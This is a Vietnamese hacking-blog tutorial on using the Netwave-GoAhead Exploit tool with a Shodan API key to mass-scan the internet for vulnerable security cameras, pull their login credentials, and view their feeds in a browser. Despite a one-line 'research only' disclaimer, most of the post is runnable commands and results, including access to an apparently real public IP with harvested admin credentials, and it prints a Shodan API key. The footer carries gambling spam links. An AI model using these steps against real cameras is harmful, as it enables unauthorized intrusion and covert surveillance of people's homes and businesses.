• Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

Cách dùng Netwave-GoAhead Exploit khai thác lỗ hổng Camera an ninh

Wdchocopie by Wdchocopie
21/08/2021
in Basic Hacking
Reading Time: 5 mins read
A A
1

Mục lục bài viết

  1. Giới thiệu về Tool
  2. Hướng dẫn cách sử dụng Netwave-GoAhead Exploit
    1. Cài đặt tool
    2. Đăng kí tài khoản trong Shodan.io
    3. Tìm Camera có lỗ hổng bằng Shodan API key
    4. Truy cập Camera sử dụng IP có sẵn

Trong bài “Bài tập: Dùng ZoomEye truy cập Camera bị lỗ hổng CVE-2018-9995“chúng ta có thể dễ dàng tìm thấy nhiều Camera vẫn còn lỗ hổng chưa vá. Tuy nhiên vẫn còn một Tool có tên Netwave-GoAhead Exploit giúp tìm một dạng Camera an ninh có lỗng hổng khác.

Giới thiệu về Tool

Tool này được bạn Kien Quoc tạo ra và phát triển. Tool có chức năng chính là tìm IP và check 2 loại Camera là Netware IP và GoAhead xem có lỗ hổng nào không. Từ đó xâm nhập vào camera và xem camera thông qua Trình duyệt của bạn.

Hướng dẫn cách sử dụng Netwave-GoAhead Exploit

Lưu ý: bài viết mang tính chất nghiên cứu, nghiêm cấm sử dụng vào mục đích bất hợp pháp. Trường hợp phát hiện Camera bị lỗ hổng, hãy báo ngay cho chủ nhà để nhanh chóng được khắc phục.

Cài đặt tool

Bước 1: Anh em Update Linux của anh em và cài Python 3 và Pip 3 cho mình nhé

sudo apt update
sudo apt install Python3.9.6
(bản mới nhất từ khi ra bài viết này là 3.9.6. các bạn có thể check trên trang chủ của Python nhé!)
sudo apt-get update
sudo apt-get -y install python3-pip

Bước 2: Cài đặt Netware-GoAhead Exploit tool

sudo git clone https://github.com/kienquoc102/Netwave-GoAhead-Exploits 

Bước 3: Vô file và cài đặt các gói cần thiết

cd Netwave-GoAhead-Exploits

pip3 install -r ./related.txt

Đăng kí tài khoản trong Shodan.io

Shodan.io là 1 công cụ tìm kiếm cho phép người dùng tìm các loại máy tính cụ thể được kết nối với internet bằng nhiều bộ lọc khác nhau. Trong bài này, Shodan dóng vai trò như công cụ tìm và lọc ip cho mình xem ip nào có thể tấn công được.

Bước 1: Vào Shodan.io tại đây

Bước 2: Chọn SIGN UP NOW

Bước 3: Chọn Register ở góc trên

Bước 4: Nhập thông tin đăng nhập

Nhập thông tin đăng nhập Shodan.io

Bước 5: Vào mail Xác minh với Shodan.io

Bước 6: Vào trang account.shodan.io tại đây.

Chú ý tới API key nhé

Shodan API key

Tìm Camera có lỗ hổng bằng Shodan API key

Nhập câu lệnh sau đây

python3 exploit.py -b 2 -v --shodan [nhập cái API key của shodan vào đây]

Ví dụ của mình sẽ là 

python3 exploit.py -b 2 -v --shodan rrgYhgIMtnrPtfKdiVvWKtyQyY94goA0

chạy Netwave-GoAhead Exploit

Nó sẽ chạy như sau

Chạy Tool

Nhiệm vụ các bạn chỉ cần chờ khi nó ra kết quả như vậy

Kết quả tìm camera

Bây giờ mình sẽ thử đăng nhập vào địa chỉ ip 181.56.97.61 với port 80 xem sao

Nhập tên tài khoản và mật khẩu

Nó sẽ bắt nhập tên tài khoản và mật khẩu. Chỉ cần dựa theo những gì tool báo

Ví dụ của cái này sẽ là

  • Username: admin
  • Password: 123456

Kết quả

Kết quả hack camera Kết quả hack camera

Đôi khi bạn sẽ gặp 1 số trường hợp như này

[+]The ip:192.168.120.1,port:81,username:Location: /admin (Example IP)
[+]The ip:192.168.120.1,port:81,password:<meta name="generator" content="vBulletin 5.5.4" />

Đối với cái ip này bạn bỏ giúp mình nhé bởi vì nó không phải Địa chỉ IP của Camera

Truy cập Camera sử dụng IP có sẵn

Với 1 địa chỉ IP có sẵn port

Các bạn chạy cho mình câu lệnh sau

python3 exploit.py -b 1 -i [IP:PORT] -v

Theo ví dụ, Mình có

python3 exploit.py -b 1 -i 192.168.1.5:80 -v

Trong đó

Địa chỉ IP là 192.168.1.5

Port là 80

Với IP list có port

Các bạn sử dụng cho mình câu lệnh sau

python3 exploit.py -b 2 -l iplist.txt -v

Trong đó

iplist.txt là file chứa địa chỉ ip dưới dạng: [IP:PORT]

Ví dụ: 192.168.1.5:80

IP mục tiêu : 192.168.1.5

Các bài viết liên quan

Cách tìm các Camera dễ bị xâm nhập bằng Shodan 3

Cách tìm các Camera dễ bị xâm nhập bằng Shodan

22/03/2022
Anonymous công khai hơn 400 Camera công cộng bị Hack của Nga

Anonymous công khai hơn 400 Camera công cộng bị Hack của Nga

11/03/2022
hack webcam camera wishfish

WishFish – Công cụ Chụp ảnh Webcam và Camera điện thoại của người khác

21/02/2022
Cách dùng Shodan, Censys - Công cụ tìm kiếm dành cho Hacker 4

Cách dùng Shodan, Censys – Công cụ tìm kiếm dành cho Hacker

03/11/2021

Port nhắm tới: 80

Đối với cách này sẽ dễ dàng tấn công vào địa chỉ mà mình đã biết hoặc là bạn có sẵn IPlist thì sử dụng cách sau để check là 1 cách rất hiệu quả. sử dụng Shodan cũng được nhưng nó sẽ check của nhiều ip lạ đã được public trên mạng.

Vậy là mình vừa hướng dẫn xong về cách tìm và tấn công camera với công cụ Python. Nếu có bài viết nào hay, đừng ngần ngại gửi đóng góp bài viết về email [email protected], bên mình sẽ biên tập và đăng bài nhé. Xem thêm: Bài tập: Dùng ZoomEye Tìm Camera bị lỗ hổng CVE-2018-9995 tại đây.

Tags: GoAheadhack cameraNetwareIPshodan
Previous Post

Cách chặn số điện thoại người khác trên Android

Next Post

Cách Auto câu cá thành công 100% trong Play Together

Wdchocopie

Wdchocopie

Make software , change the world

Related Posts

Một chút Writeup về Skynet 5
Basic Hacking

Một chút Writeup về Skynet

12/08/2022
Cách cài đặt FlareVM trên VirtualBox 6
Basic Hacking

Cách cài đặt FlareVM trên VirtualBox

09/08/2022
SMS bomber
Basic Hacking

Hướng dẫn sử dụng tool spam SMS OTP V3

08/08/2022
Cách Quét lỗ hổng bảo mật bằng Metasploit 7
Basic Hacking

Cách Quét lỗ hổng bảo mật bằng Metasploit

03/08/2022
Hướng dẫn khai thác lỗi SQL Injection cơ bản 8
Basic Hacking

Hướng dẫn khai thác lỗi SQL Injection cơ bản

29/07/2022
Cách cấu hình Ngrok để NAT Port trên Kali Linux 9
Basic Hacking

Cách cấu hình Ngrok để NAT Port trên Kali Linux

26/07/2022
Next Post
Cách Auto câu cá thành công 100% trong Play Together 10

Cách Auto câu cá thành công 100% trong Play Together

guest

guest

Website này sử dụng Akismet để hạn chế spam. Tìm hiểu bình luận của bạn được duyệt như thế nào.

1 Comment
oldest
newest
Inline Feedbacks
View all comments
Kien Quoc
Kien Quoc
11 months ago

Cảm ơn bạn nhé

Reply
wpdiscuz   wpDiscuz

Liên hệ Quảng Cáo

Lien he AnonyViet

Đối tác —

Fshare

Các bài mới

Chuyện gì đang xảy ra khi máy tính ở chế độ Sleep 11

Chuyện gì đang xảy ra khi máy tính ở chế độ Sleep

14/08/2022
nhận 160k miễn phí tại tothost

Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]

13/08/2022
curl la gi

Cách tham số cần biết khi dùng lệnh Curl

13/08/2022
Cách sử dụng chế độ Together trong Microsoft Teams phiên bản web 12

Cách sử dụng chế độ Together trong Microsoft Teams phiên bản web

13/08/2022
Một chút Writeup về Skynet 13

Một chút Writeup về Skynet

12/08/2022

Ads

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Liên hệ

Email: anonyviet.com[@]gmail.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

Bản quyền: DMCA.com Protection Status

Phản hồi gần đây

  • AnonyViet trong Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]
  • Duy trong Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]
  • Quang trong Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]
  • Trg trong Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]
  • olalavui trong Cách nhận 160.000đ để mua Hosting/VPS của TotHost [Độc quyền AnonyViet]

©2022 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ. Google iwin888 Bing tải game iwin Github tải iwin apk Github tải win456 Youtube ku fun wikipedia 88vin reddit twin 92lottery tải tdtc stackoverflow tool tài xỉu 68 club 68 game bài iwinclub.link mua nick facebook

No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC

©2022 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ. Google iwin888 Bing tải game iwin Github tải iwin apk Github tải win456 Youtube ku fun wikipedia 88vin reddit twin 92lottery tải tdtc stackoverflow tool tài xỉu 68 club 68 game bài iwinclub.link mua nick facebook

wpDiscuz
pixel